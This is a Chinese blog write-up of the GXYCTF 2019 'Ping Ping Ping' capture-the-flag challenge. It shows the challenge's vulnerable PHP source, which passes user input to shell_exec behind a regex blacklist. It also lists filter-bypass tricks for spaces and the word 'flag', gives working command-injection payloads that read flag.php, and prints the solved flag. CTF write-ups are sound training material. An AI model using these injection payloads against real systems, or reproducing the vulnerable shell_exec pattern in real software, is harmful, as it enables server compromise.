Web 13 [GXYCTF 2019]Ping Ping Ping

piter 发布于 24 天前 30 次阅读 430 字


AI 摘要

在GXYCTF 2019的挑战中,“Ping Ping Ping”一题以其巧妙的过滤机制吸引了众多攻防者的目光。通过独特的绕过技巧,包括利用特殊字符和命令注入,选手们得以破解层层防线,最终获取隐藏的flag。本文将带你领略这场技术较量的精彩过程,揭秘如何在精巧的代码中找到突破口,获取胜利的钥匙。不要错过,或许灵感就在其中!

GXYCTF 2019]Ping Ping Ping | NSSCTF

ping的题目,看了一些知识点拿来练练

先来随便ping一下

127.0.0.1

得到

再尝试一下添加管道符加其他指令

发现目录下有两个php文件,有我们需要的flag

尝试能不能获取flag

ping 127.0.0.1|cat flag.php

发现可能是空格被过滤了

尝试其他的常见绕过方法

比如

  1. 使用 ${IFS} 代替空格
  2. 使用 < > 重定向符号
  3. 使用{cat,flag.php} 语法
  4. 使用 $() 或反引号执行命令
  5. 使用 %09(Tab 字符)代替空格

都会被过滤

贴张图

法一

使用$IFS$9绕过

先看看index.php里面源码写了啥

查看源码

    <?php
    if(isset($_GET['ip'])){
        $ip = $_GET['ip'];
        if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
            print_r($match);
            print($ip);
            echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
            die("fxck your symbol!");
        }
        else if(preg_match("/ /", $ip)){
            die("fxck your space!");
        }
        else if(preg_match("/bash/", $ip)){
            die("fxck your bash!");
        }
        else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
            die("fxck your flag!");
        }
        $a = shell_exec("ping -c 4 ".$ip);
        echo "<pre>";
        print_r($a);
    }
​
    ?>

源码里面有过滤规则

  • /.f.l.a.g.*/只要匹配到这四个字符组合在一起就显示fxck your flag!了
  • 可以采取变量赋值的方式来做

输入 ping 127.0.0.1;q=g;cat$IFS$9fla$q.php

再次查看源码

拿到flag

NSSCTF{9cd25729-d16e-462c-976d-c4a5cb055b8b}

法二

这个方法比较巧妙

使用反引号绕过

原理:

linux下,会先执行反引号下面的语句 在这里会执行ls,ls的结果是“index.php flag.php” 所以最后执行的语句等价于 cat index.php flag.php

试验一下

ping一下

也是成功拿到flag

  • wechat_img
永远不要因为需要大量时间才能完成,就放弃梦想,时间怎么样都会过去的
最后更新于 2025-01-11